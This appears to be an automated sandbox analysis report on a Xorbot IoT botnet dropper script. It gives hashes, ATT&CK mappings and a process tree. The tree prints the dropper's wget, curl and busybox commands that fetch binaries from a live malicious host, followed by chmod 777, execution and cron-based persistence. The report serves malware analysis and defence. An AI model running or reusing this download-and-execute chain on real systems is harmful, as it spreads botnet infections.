xorbot | 94a11ddc23e1ff0bdccae8d3ad1bd3b9b1f55673f65d1647714695984b1281b1

Analysis

max time kernel
149s
max time network
149s
platform
ubuntu-18.04_amd64
resource
ubuntu1804-amd64-20240611-en
resource tags

arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
submitted
21-02-2025 04:13

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General

Target

bins.sh
Size

10KB
MD5

3f3a9db2b6aa795d2e387871e5802a48
SHA1

eb7cecee16a507e065aac9105801a18973554e0c
SHA256

94a11ddc23e1ff0bdccae8d3ad1bd3b9b1f55673f65d1647714695984b1281b1
SHA512

68f5fa7d816718ab2ccae4993f932827acccfb17ec9717fed1b7eb481c811d05414a9bf171e3691558eae6662ce2d61535935f654d82f4383571ebd9db84081a
SSDEEP

192:XpMMGuGWGdGEGoGkLpBKyEKtGuGWGdGEGoGcb:XK35hkvbkLpBKJ5hkvbcb

Score

10^/10

xorbot botnet defense_evasion discovery execution persistence privilege_escalation trojan

Malware Config

Signatures

Detects Xorbot 3 IoCs

botnet trojan

resource	yara_rule
behavioral1/files/fstream-3.dat	family_xorbot
behavioral1/files/fstream-5.dat	family_xorbot
behavioral1/files/fstream-7.dat	family_xorbot

Xorbot
Xorbot is a linux botnet and trojan targeting IoT devices.
botnet trojan xorbot
Xorbot family
xorbot

File and Directory Permissions Modification 1 TTPs 4 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
1530	chmod
1506	chmod
1514	chmod
1522	chmod

Executes dropped EXE 4 IoCs

ioc	pid	Process
/tmp/iMMKLVt95yRIAgrTk9DZD7wzoVa0TrkwgY	1507	bins.sh
/tmp/1FfKQ91nS2uj30KgfRWmSteEIUP39AG9MC	1515	bins.sh
/tmp/pNBd7bf1BlXic2JvWtVC1rCLWDoVTNlJg6	1523	bins.sh
/tmp/nBguOdUoIaOt55bKBScDaOBPYJr8ScmkC0	1531	bins.sh

Renames itself 1 IoCs

pid	Process
1532	nBguOdUoIaOt55bKBScDaOBPYJr8ScmkC0

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalation

Cron

T1053.003

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.dTQKXn	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/1139/cmdline	nBguOdUoIaOt55bKBScDaOBPYJr8ScmkC0
File opened for reading	/proc/1158/cmdline	nBguOdUoIaOt55bKBScDaOBPYJr8ScmkC0
File opened for reading	/proc/1172/cmdline	nBguOdUoIaOt55bKBScDaOBPYJr8ScmkC0
File opened for reading	/proc/10/cmdline	nBguOdUoIaOt55bKBScDaOBPYJr8ScmkC0
File opened for reading	/proc/81/cmdline	nBguOdUoIaOt55bKBScDaOBPYJr8ScmkC0
File opened for reading	/proc/613/cmdline	nBguOdUoIaOt55bKBScDaOBPYJr8ScmkC0
File opened for reading	/proc/1082/cmdline	nBguOdUoIaOt55bKBScDaOBPYJr8ScmkC0
File opened for reading	/proc/6/cmdline	nBguOdUoIaOt55bKBScDaOBPYJr8ScmkC0
File opened for reading	/proc/180/cmdline	nBguOdUoIaOt55bKBScDaOBPYJr8ScmkC0
File opened for reading	/proc/449/cmdline	nBguOdUoIaOt55bKBScDaOBPYJr8ScmkC0
File opened for reading	/proc/455/cmdline	nBguOdUoIaOt55bKBScDaOBPYJr8ScmkC0
File opened for reading	/proc/523/cmdline	nBguOdUoIaOt55bKBScDaOBPYJr8ScmkC0
File opened for reading	/proc/557/cmdline	nBguOdUoIaOt55bKBScDaOBPYJr8ScmkC0
File opened for reading	/proc/672/cmdline	nBguOdUoIaOt55bKBScDaOBPYJr8ScmkC0
File opened for reading	/proc/1118/cmdline	nBguOdUoIaOt55bKBScDaOBPYJr8ScmkC0
File opened for reading	/proc/171/cmdline	nBguOdUoIaOt55bKBScDaOBPYJr8ScmkC0
File opened for reading	/proc/520/cmdline	nBguOdUoIaOt55bKBScDaOBPYJr8ScmkC0
File opened for reading	/proc/1167/cmdline	nBguOdUoIaOt55bKBScDaOBPYJr8ScmkC0
File opened for reading	/proc/1184/cmdline	nBguOdUoIaOt55bKBScDaOBPYJr8ScmkC0
File opened for reading	/proc/963/cmdline	nBguOdUoIaOt55bKBScDaOBPYJr8ScmkC0
File opened for reading	/proc/1307/cmdline	nBguOdUoIaOt55bKBScDaOBPYJr8ScmkC0
File opened for reading	/proc/1491/cmdline	nBguOdUoIaOt55bKBScDaOBPYJr8ScmkC0
File opened for reading	/proc/1492/cmdline	nBguOdUoIaOt55bKBScDaOBPYJr8ScmkC0
File opened for reading	/proc/16/cmdline	nBguOdUoIaOt55bKBScDaOBPYJr8ScmkC0
File opened for reading	/proc/706/cmdline	nBguOdUoIaOt55bKBScDaOBPYJr8ScmkC0
File opened for reading	/proc/1058/cmdline	nBguOdUoIaOt55bKBScDaOBPYJr8ScmkC0
File opened for reading	/proc/1475/cmdline	nBguOdUoIaOt55bKBScDaOBPYJr8ScmkC0
File opened for reading	/proc/1538/cmdline	nBguOdUoIaOt55bKBScDaOBPYJr8ScmkC0
File opened for reading	/proc/19/cmdline	nBguOdUoIaOt55bKBScDaOBPYJr8ScmkC0
File opened for reading	/proc/169/cmdline	nBguOdUoIaOt55bKBScDaOBPYJr8ScmkC0
File opened for reading	/proc/413/cmdline	nBguOdUoIaOt55bKBScDaOBPYJr8ScmkC0
File opened for reading	/proc/1126/cmdline	nBguOdUoIaOt55bKBScDaOBPYJr8ScmkC0
File opened for reading	/proc/678/cmdline	nBguOdUoIaOt55bKBScDaOBPYJr8ScmkC0
File opened for reading	/proc/20/cmdline	nBguOdUoIaOt55bKBScDaOBPYJr8ScmkC0
File opened for reading	/proc/21/cmdline	nBguOdUoIaOt55bKBScDaOBPYJr8ScmkC0
File opened for reading	/proc/79/cmdline	nBguOdUoIaOt55bKBScDaOBPYJr8ScmkC0
File opened for reading	/proc/212/cmdline	nBguOdUoIaOt55bKBScDaOBPYJr8ScmkC0
File opened for reading	/proc/1311/cmdline	nBguOdUoIaOt55bKBScDaOBPYJr8ScmkC0
File opened for reading	/proc/1537/cmdline	nBguOdUoIaOt55bKBScDaOBPYJr8ScmkC0
File opened for reading	/proc/468/cmdline	nBguOdUoIaOt55bKBScDaOBPYJr8ScmkC0
File opened for reading	/proc/34/cmdline	nBguOdUoIaOt55bKBScDaOBPYJr8ScmkC0
File opened for reading	/proc/78/cmdline	nBguOdUoIaOt55bKBScDaOBPYJr8ScmkC0
File opened for reading	/proc/174/cmdline	nBguOdUoIaOt55bKBScDaOBPYJr8ScmkC0
File opened for reading	/proc/177/cmdline	nBguOdUoIaOt55bKBScDaOBPYJr8ScmkC0
File opened for reading	/proc/179/cmdline	nBguOdUoIaOt55bKBScDaOBPYJr8ScmkC0
File opened for reading	/proc/246/cmdline	nBguOdUoIaOt55bKBScDaOBPYJr8ScmkC0
File opened for reading	/proc/460/cmdline	nBguOdUoIaOt55bKBScDaOBPYJr8ScmkC0
File opened for reading	/proc/971/cmdline	nBguOdUoIaOt55bKBScDaOBPYJr8ScmkC0
File opened for reading	/proc/1153/cmdline	nBguOdUoIaOt55bKBScDaOBPYJr8ScmkC0
File opened for reading	/proc/1182/cmdline	nBguOdUoIaOt55bKBScDaOBPYJr8ScmkC0
File opened for reading	/proc/1250/cmdline	nBguOdUoIaOt55bKBScDaOBPYJr8ScmkC0
File opened for reading	/proc/1540/cmdline	nBguOdUoIaOt55bKBScDaOBPYJr8ScmkC0
File opened for reading	/proc/17/cmdline	nBguOdUoIaOt55bKBScDaOBPYJr8ScmkC0
File opened for reading	/proc/28/cmdline	nBguOdUoIaOt55bKBScDaOBPYJr8ScmkC0
File opened for reading	/proc/320/cmdline	nBguOdUoIaOt55bKBScDaOBPYJr8ScmkC0
File opened for reading	/proc/484/cmdline	nBguOdUoIaOt55bKBScDaOBPYJr8ScmkC0
File opened for reading	/proc/1144/cmdline	nBguOdUoIaOt55bKBScDaOBPYJr8ScmkC0
File opened for reading	/proc/1257/cmdline	nBguOdUoIaOt55bKBScDaOBPYJr8ScmkC0
File opened for reading	/proc/18/cmdline	nBguOdUoIaOt55bKBScDaOBPYJr8ScmkC0
File opened for reading	/proc/80/cmdline	nBguOdUoIaOt55bKBScDaOBPYJr8ScmkC0
File opened for reading	/proc/187/cmdline	nBguOdUoIaOt55bKBScDaOBPYJr8ScmkC0
File opened for reading	/proc/451/cmdline	nBguOdUoIaOt55bKBScDaOBPYJr8ScmkC0
File opened for reading	/proc/1035/cmdline	nBguOdUoIaOt55bKBScDaOBPYJr8ScmkC0
File opened for reading	/proc/82/cmdline	nBguOdUoIaOt55bKBScDaOBPYJr8ScmkC0

System Network Configuration Discovery 1 TTPs 10 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
1521	busybox
1505	busybox
1510	wget
1511	curl
1518	wget
1541	wget
1498	wget
1503	curl
1513	busybox
1519	curl

Writes file to tmp directory 12 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/1FfKQ91nS2uj30KgfRWmSteEIUP39AG9MC	busybox
File opened for modification	/tmp/nBguOdUoIaOt55bKBScDaOBPYJr8ScmkC0	wget
File opened for modification	/tmp/nBguOdUoIaOt55bKBScDaOBPYJr8ScmkC0	busybox
File opened for modification	/tmp/0e5OgdR6l4TkmToC3Owby6Kr82fF7aU7NU	wget
File opened for modification	/tmp/iMMKLVt95yRIAgrTk9DZD7wzoVa0TrkwgY	wget
File opened for modification	/tmp/iMMKLVt95yRIAgrTk9DZD7wzoVa0TrkwgY	curl
File opened for modification	/tmp/1FfKQ91nS2uj30KgfRWmSteEIUP39AG9MC	curl
File opened for modification	/tmp/pNBd7bf1BlXic2JvWtVC1rCLWDoVTNlJg6	wget
File opened for modification	/tmp/pNBd7bf1BlXic2JvWtVC1rCLWDoVTNlJg6	curl
File opened for modification	/tmp/pNBd7bf1BlXic2JvWtVC1rCLWDoVTNlJg6	busybox
File opened for modification	/tmp/nBguOdUoIaOt55bKBScDaOBPYJr8ScmkC0	curl
File opened for modification	/tmp/1FfKQ91nS2uj30KgfRWmSteEIUP39AG9MC	wget

/tmp/bins.sh
/tmp/bins.sh
1⤵
- Executes dropped EXE
PID:1496
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:1497
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/iMMKLVt95yRIAgrTk9DZD7wzoVa0TrkwgY
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1498
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/iMMKLVt95yRIAgrTk9DZD7wzoVa0TrkwgY
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1503
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/iMMKLVt95yRIAgrTk9DZD7wzoVa0TrkwgY
  2⤵
  - System Network Configuration Discovery
  PID:1505
- /bin/chmod
  chmod 777 iMMKLVt95yRIAgrTk9DZD7wzoVa0TrkwgY
  2⤵
  - File and Directory Permissions Modification
  PID:1506
- /tmp/iMMKLVt95yRIAgrTk9DZD7wzoVa0TrkwgY
  ./iMMKLVt95yRIAgrTk9DZD7wzoVa0TrkwgY
  2⤵
  PID:1507
- /bin/rm
  rm iMMKLVt95yRIAgrTk9DZD7wzoVa0TrkwgY
  2⤵
  PID:1509
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/1FfKQ91nS2uj30KgfRWmSteEIUP39AG9MC
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1510
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/1FfKQ91nS2uj30KgfRWmSteEIUP39AG9MC
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1511
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/1FfKQ91nS2uj30KgfRWmSteEIUP39AG9MC
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1513
- /bin/chmod
  chmod 777 1FfKQ91nS2uj30KgfRWmSteEIUP39AG9MC
  2⤵
  - File and Directory Permissions Modification
  PID:1514
- /tmp/1FfKQ91nS2uj30KgfRWmSteEIUP39AG9MC
  ./1FfKQ91nS2uj30KgfRWmSteEIUP39AG9MC
  2⤵
  PID:1515
- /bin/rm
  rm 1FfKQ91nS2uj30KgfRWmSteEIUP39AG9MC
  2⤵
  PID:1517
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/pNBd7bf1BlXic2JvWtVC1rCLWDoVTNlJg6
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1518
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/pNBd7bf1BlXic2JvWtVC1rCLWDoVTNlJg6
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1519
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/pNBd7bf1BlXic2JvWtVC1rCLWDoVTNlJg6
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1521
- /bin/chmod
  chmod 777 pNBd7bf1BlXic2JvWtVC1rCLWDoVTNlJg6
  2⤵
  - File and Directory Permissions Modification
  PID:1522
- /tmp/pNBd7bf1BlXic2JvWtVC1rCLWDoVTNlJg6
  ./pNBd7bf1BlXic2JvWtVC1rCLWDoVTNlJg6
  2⤵
  PID:1523
- /bin/rm
  rm pNBd7bf1BlXic2JvWtVC1rCLWDoVTNlJg6
  2⤵
  PID:1525
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/nBguOdUoIaOt55bKBScDaOBPYJr8ScmkC0
  2⤵
  - Writes file to tmp directory
  PID:1526
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/nBguOdUoIaOt55bKBScDaOBPYJr8ScmkC0
  2⤵
  - Writes file to tmp directory
  PID:1527
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/nBguOdUoIaOt55bKBScDaOBPYJr8ScmkC0
  2⤵
  - Writes file to tmp directory
  PID:1529
- /bin/chmod
  chmod 777 nBguOdUoIaOt55bKBScDaOBPYJr8ScmkC0
  2⤵
  - File and Directory Permissions Modification
  PID:1530
- /tmp/nBguOdUoIaOt55bKBScDaOBPYJr8ScmkC0
  ./nBguOdUoIaOt55bKBScDaOBPYJr8ScmkC0
  2⤵
  - Renames itself
  - Reads runtime system information
  PID:1531
- - /bin/sh
    sh -c "crontab -l"
    3⤵
    PID:1533
  - - /usr/bin/crontab
      crontab -l
      4⤵
      PID:1534
- - /bin/sh
    sh -c "crontab -"
    3⤵
    PID:1535
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      PID:1536
- /bin/rm
  rm nBguOdUoIaOt55bKBScDaOBPYJr8ScmkC0
  2⤵
  PID:1538
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/0e5OgdR6l4TkmToC3Owby6Kr82fF7aU7NU
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1541

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

/tmp/0e5OgdR6l4TkmToC3Owby6Kr82fF7aU7NU

Filesize
91KB

MD5
8f06b79c5cb1d665da365b8349f7dc14

SHA1
b4f0adc959b731debb76d7466a5ceebd24e87e2a

SHA256
efe1e484b221da7fc2aeb8fae6fb25db6580c7121660099b32d5e47545e56ddb

SHA512
c4a85001f53cbd9b4bbf4fcbc46df5533e22fd7e6a82485b208b852ea13e7061b2717fde6760059e77345a0c2073d73f48bda644e6bb0220e289491bb73a5f6a

Download Submit
/tmp/1FfKQ91nS2uj30KgfRWmSteEIUP39AG9MC

Filesize
111KB

MD5
ca897a38f23ec23521ce0b1b83f8422d

SHA1
b8d2ab335346aba9a72bae0fe3533aca1ab7b66a

SHA256
043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832

SHA512
10d3026b43167121b62786dde231a04e25eb27905989f59a92b5eba92134e30cea554a73e419d3a505e650ee4c474ee407103df335cd84bd8c0f3428ccc16feb

Download Submit
/tmp/iMMKLVt95yRIAgrTk9DZD7wzoVa0TrkwgY

Filesize
151KB

MD5
6c583043d91c55aa470c08c87058e917

SHA1
abf65a5b9bba69980278ad09356e53de8bb89439

SHA256
2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948

SHA512
82ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5

Download Submit
/tmp/nBguOdUoIaOt55bKBScDaOBPYJr8ScmkC0

Filesize
112KB

MD5
05d7857dcead18bbd86d2935f591873c

SHA1
34d18f41ef35f93d5364ce3e24d74730a4e91985

SHA256
2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

SHA512
d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

Download Submit
/tmp/pNBd7bf1BlXic2JvWtVC1rCLWDoVTNlJg6

Filesize
122KB

MD5
cd3d4b9c643e5b473fb4d88ed05f0716

SHA1
64ee7a97418583d759eaea8000890cc3bae1b5f4

SHA256
0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944

SHA512
164ee6eb1dc167f48a62683700bf3a4787f9ec4b12335e9e30d6670406324d111557b3be22fd6a9689b4f60562c8a3bf62867f2cae86c04cb1b01ee2e219cc52

Download Submit
/var/spool/cron/crontabs/tmp.dTQKXn

Filesize
210B

MD5
51f1208cdf82055cd7879ad826584b17

SHA1
c7bd6e86cef55e9fcf6cf9939bb0583a4ad073e6

SHA256
1c2684fa9c15e464ca4919ab245d6409c3f8bf65a0e052930006b7dfeac70f93

SHA512
074d22078689d6873584c25679a2260593bff98230af7b6209052f8cf37b957b90b43fa7285438813a21747d6b736f78df8ee6d06a67df593dbf74c009c31b25

Download Submit

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads